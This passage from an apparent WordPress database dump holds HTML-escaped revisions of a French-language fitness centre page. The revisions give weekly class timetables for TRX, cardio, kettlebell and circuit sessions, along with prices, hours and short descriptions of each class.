Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 17:02:21', '2013-07-03 17:02:21', '', 11, 'http://www.crosstrainingcenter.be/?p=180', 0, 'revision', '', 0),
(181, 1, '2013-07-03 17:03:11', '2013-07-03 17:03:11', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\n\r\n&lt;table &gt;\r\n&lt;tr class=\&quot;tabb\&quot;&gt;\r\n&lt;td &gt;LUNDI&lt;/td&gt;\r\n&lt;td &gt;MARDI&lt;/td&gt;\r\n&lt;td &gt;MERCREDI&lt;/td&gt;\r\n&lt;td &gt;JEUDI&lt;/td&gt;\r\n&lt;td &gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr class=\&quot;tabb\&quot;&gt;\r\n&lt;td &gt;17h30&lt;/td&gt;\r\n&lt;td &gt;TRX&lt;/td&gt;\r\n&lt;td &gt;CARDIO&lt;/td&gt;\r\n&lt;td &gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td &gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\nEn semaine :\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;theure\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; border-bottom: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\n\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 17:03:11', '2013-07-03 17:03:11', '', 11, 'http://www.crosstrainingcenter.be/?p=181', 0, 'revision', '', 0),
(186, 1, '2013-07-03 17:30:27', '2013-07-03 17:30:27', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\n\r\n&lt;table &gt;\r\n&lt;tr &gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot; &gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot; &gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot; &gt;JEUDI&lt;/td&gt;\r\n&lt;td  class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr &gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\nEn semaine :\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td  class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\n\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 